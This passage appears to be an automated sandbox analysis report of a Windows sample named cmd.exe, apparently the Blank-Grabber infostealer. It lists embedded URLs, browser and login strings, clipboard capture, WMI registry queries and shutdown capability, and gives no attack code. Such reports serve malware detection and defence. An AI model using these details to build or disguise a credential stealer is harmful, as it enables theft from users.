Source: cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095490915.000001C915CFC000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1705592637.000001C914409000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code
Source: cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1705592637.000001C914409000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095490915.000001C915C70000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source
Source: cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095490915.000001C915CFC000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1705592637.000001C914409000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package
Source: cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095490915.000001C915CFC000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.create_module
Source: cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095490915.000001C915CFC000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module
Source: cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095490915.000001C915C70000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches
Source: cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095490915.000001C915CFC000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec
Source: cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095198142.000001C9143C0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1705592637.000001C914409000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data
Source: cmd.exe, 00000001.00000003.1935481751.000001C9168CC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: cmd.exe, 00000001.00000003.1935481751.000001C9168CC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: cmd.exe, 00000001.00000003.1935481751.000001C9168CC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: cmd.exe, 00000001.00000002.2098654232.000001C916D30000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://foss.heptapod.net/pypy/pypy/-/issues/3539
Source: svchost.exe, 0000001C.00000003.1775846241.00000240CA8C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.28.dr, edb.log.28.dr String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.28.dr String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.28.dr String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.28.dr String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 0000001C.00000003.1775846241.00000240CA8C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.28.dr String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/Blank-c/Blank-Grabber
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/Blank-c/Blank-Grabberi
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/Blank-c/Blank-GrabberrU
Source: cmd.exe, 00000001.00000003.1711260677.000001C916970000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1712399231.000001C916970000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1711786207.000001C916970000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1711452846.000001C916D3A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/Blank-c/BlankOBF
Source: powershell.exe, 0000002A.00000002.1859004442.000002168E3A8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095198142.000001C9143C0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095490915.000001C915CFC000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: cmd.exe, 00000001.00000002.2095198142.000001C9143C0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095198142.000001C9143C0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095198142.000001C9143C0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: cmd.exe, 00000001.00000002.2098654232.000001C916D30000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963
Source: cmd.exe, 00000001.00000002.2097860677.000001C9169B8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.
Source: cmd.exe, 00000001.00000002.2098765612.000001C916E50000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/urllib3/urllib3/issues/2920
Source: cmd.exe, 00000001.00000002.2098872517.000001C916F80000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/urllib3/urllib3/issues/3290
Source: powershell.exe, 0000002A.00000002.1859004442.000002168D998000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://go.micro
Source: cmd.exe, 00000001.00000002.2097860677.000001C916A25000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2096563852.000001C916829000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2092429001.000001C916827000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://google.com/
Source: cmd.exe, 00000001.00000002.2097860677.000001C916A25000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2096563852.000001C916829000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2092429001.000001C916827000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://google.com/mail
Source: cmd.exe, 00000001.00000002.2095198142.000001C9143C0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://google.com/mail/
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://gstatic.com/generate_204
Source: cmd.exe, 00000001.00000002.2097860677.000001C9169B8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://html.spec.whatwg.org/multipage/
Source: cmd.exe, 00000001.00000002.2097860677.000001C916A25000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://httpbin.org/
Source: cmd.exe, 00000001.00000002.2096563852.000001C916730000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://json.org
Source: cmd.exe, 00000001.00000002.2100068134.000001C917A5C000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C79000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179C8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C79000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2100068134.000001C917A58000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com
Source: powershell.exe, 0000000A.00000002.1921700261.0000022BECA36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1908083358.000002169CC80000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1859004442.000002168E42F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1908083358.000002169CB3E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: svchost.exe, 0000001C.00000003.1775846241.00000240CA8C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.28.dr, edb.log.28.dr String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.28.dr String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: powershell.exe, 0000002A.00000002.1859004442.000002168E115000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://oneget.org
Source: powershell.exe, 0000002A.00000002.1859004442.000002168E115000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://oneget.orgX
Source: cmd.exe, 00000001.00000002.2098872517.000001C916F80000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2098765612.000001C916E50000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://packaging.python.org/specifications/entry-points/
Source: cmd.exe, 00000001.00000002.2103718969.00007FFDFB784000.00000040.00000001.01000000.00000004.sdmp String found in binary or memory: https://python.org/dev/peps/pep-0263/
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.pngz
Source: cmd.exe, rar.exe.0.dr String found in binary or memory: https://sectigo.com/CPS0
Source: cmd.exe, 00000001.00000003.1772966078.000001C91692E000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1788462213.000001C91692E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org
Source: cmd.exe, 00000001.00000003.1758937487.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1788462213.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1758937487.000001C91688E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: cmd.exe, 00000001.00000003.1758937487.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefox
Source: cmd.exe, 00000001.00000003.1788462213.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: cmd.exe, 00000001.00000002.2096102942.000001C916430000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/rfc2388#section-4.4
Source: cmd.exe, 00000001.00000002.2096102942.000001C9164F1000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2097860677.000001C916A25000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C8A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://twitter.com/
Source: cmd.exe, 00000001.00000002.2098765612.000001C916E50000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy
Source: cmd.exe, 00000001.00000002.2098872517.000001C916F80000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2098654232.000001C916D30000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
Source: cmd.exe, 00000001.00000002.2098654232.000001C916D30000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warningsC
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2100068134.000001C9179C8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2100068134.000001C917A04000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://weibo.com/
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179C8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.aliexpress.com/
Source: cmd.exe, 00000001.00000002.2098986140.000001C917160000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.ca/
Source: cmd.exe, 00000001.00000002.2098986140.000001C917160000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.co.uk/
Source: cmd.exe, 00000001.00000002.2098986140.000001C917160000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C8A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/
Source: cmd.exe, 00000001.00000002.2098986140.000001C917160000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.de/
Source: cmd.exe, 00000001.00000002.2098986140.000001C917160000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C8A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.fr/
Source: cmd.exe, 00000001.00000002.2098986140.000001C917160000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.avito.ru/
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C8A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.baidu.com/
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.bbc.co.uk/
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C8A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.ctrip.com/
Source: cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700295776.00000162C435C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.digicert.com/CPS0
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C8A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.ebay.co.uk/
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.ebay.de/
Source: cmd.exe, 00000001.00000003.1935481751.000001C9168CC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2100068134.000001C9179C8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/
Source: cmd.exe, 00000001.00000003.1935481751.000001C9168CC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.ifeng.com/
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.iqiyi.com/
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179C8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.leboncoin.fr/
Source: cmd.exe, 00000001.00000003.1772966078.000001C91692E000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1788462213.000001C91692E000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1785608617.000001C916B44000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2098986140.000001C9170A0000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2098765612.000001C916E50000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org
Source: cmd.exe, 00000001.00000003.1758937487.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1758937487.000001C91688E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/
Source: cmd.exe, 00000001.00000003.1788462213.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: cmd.exe, 00000001.00000003.1758937487.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1758937487.000001C91688E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/
Source: cmd.exe, 00000001.00000003.1788462213.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: cmd.exe, 00000001.00000003.1758937487.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: cmd.exe, 00000001.00000003.1788462213.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: cmd.exe, 00000001.00000002.2098986140.000001C917160000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_c
Source: cmd.exe, 00000001.00000003.1758937487.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1788462213.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: cmd.exe, 00000001.00000002.2096563852.000001C916829000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2092429001.000001C916827000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/media/img/favicons/mozilla/favicon.d25d81d39065.icox
Source: cmd.exe, 00000001.00000003.1788462213.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: cmd.exe, 00000001.00000002.2100068134.000001C917A74000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C79000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2100068134.000001C9179C8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.olx.pl/
Source: cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2103626383.00007FFDFB414000.00000004.00000001.01000000.0000000F.sdmp, cmd.exe, 00000001.00000002.2102504128.00007FFDFB0B3000.00000004.00000001.01000000.00000010.sdmp, libssl-1_1.dll.0.dr, libcrypto-1_1.dll.0.dr String found in binary or memory: https://www.openssl.org/H
Source: cmd.exe, 00000000.00000003.1699462704.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1710533213.000001C9164F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1711375061.000001C9164F6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1707179329.000001C9164F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1710834242.000001C9164F6000.00000004.00000020.00020000.00000000.sdmp, base_library.zip.0.dr String found in binary or memory: https://www.python.org/dev/peps/pep-0205/
Source: cmd.exe, 00000001.00000002.2095490915.000001C915C70000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.0.dr String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.reddit.com/
Source: cmd.exe, 00000001.00000002.2097860677.000001C916A25000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.rfc-editor.org/rfc/rfc8259#section-8.1
Source: cmd.exe, 00000001.00000002.2098986140.000001C917160000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.wykop.pl/
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C8A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179C8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2100068134.000001C917A04000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.zhihu.com/
Source: cmd.exe, 00000001.00000002.2097860677.000001C916A25000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2096563852.000001C916829000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2092429001.000001C916827000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://yahoo.com/
Source: unknown Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49748
Creates a window with clipboard capturing capabilities
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window created: window name: CLIPBRDWNDCLASS
Too many similar processes found
Source: cmd.exe Process created: 50

System Summary
barindex
Writes or reads registry keys via WMI
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Contains functionality to communicate with device drivers
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A403A70: CreateFileW,CreateFileW,DeviceIoControl,CloseHandle, 65_2_00007FF69A403A70
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A42B57C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx, 65_2_00007FF69A42B57C
Creates files inside the system directory
Source: C:\Windows\System32\svchost.exe File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
Detected potential crypto function
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AEF8BD0 0_2_00007FF70AEF8BD0
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF169D4 0_2_00007FF70AF169D4
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AEF1000 0_2_00007FF70AEF1000
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF01BC0 0_2_00007FF70AF01BC0
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF15C70 0_2_00007FF70AF15C70
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF13C80 0_2_00007FF70AF13C80
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF16488 0_2_00007FF70AF16488
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF10938 0_2_00007FF70AF10938
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AEFA34B 0_2_00007FF70AEFA34B
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AEFA4E4 0_2_00007FF70AEFA4E4
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF02C80 0_2_00007FF70AF02C80
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF03A14 0_2_00007FF70AF03A14
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF021D4 0_2_00007FF70AF021D4
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF019B4 0_2_00007FF70AF019B4
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF0DACC 0_2_00007FF70AF0DACC
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF1411C 0_2_00007FF70AF1411C
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF10938 0_2_00007FF70AF10938
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF08154 0_2_00007FF70AF08154
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF01FD0 0_2_00007FF70AF01FD0
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF017B0 0_2_00007FF70AF017B0
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF118E4 0_2_00007FF70AF118E4
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF0DF60 0_2_00007FF70AF0DF60
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF19798 0_2_00007FF70AF19798
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AEF9870 0_2_00007FF70AEF9870
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF08804 0_2_00007FF70AF08804
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF03610 0_2_00007FF70AF03610
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF01DC4 0_2_00007FF70AF01DC4
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF05DA0 0_2_00007FF70AF05DA0
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF15EEC 0_2_00007FF70AF15EEC
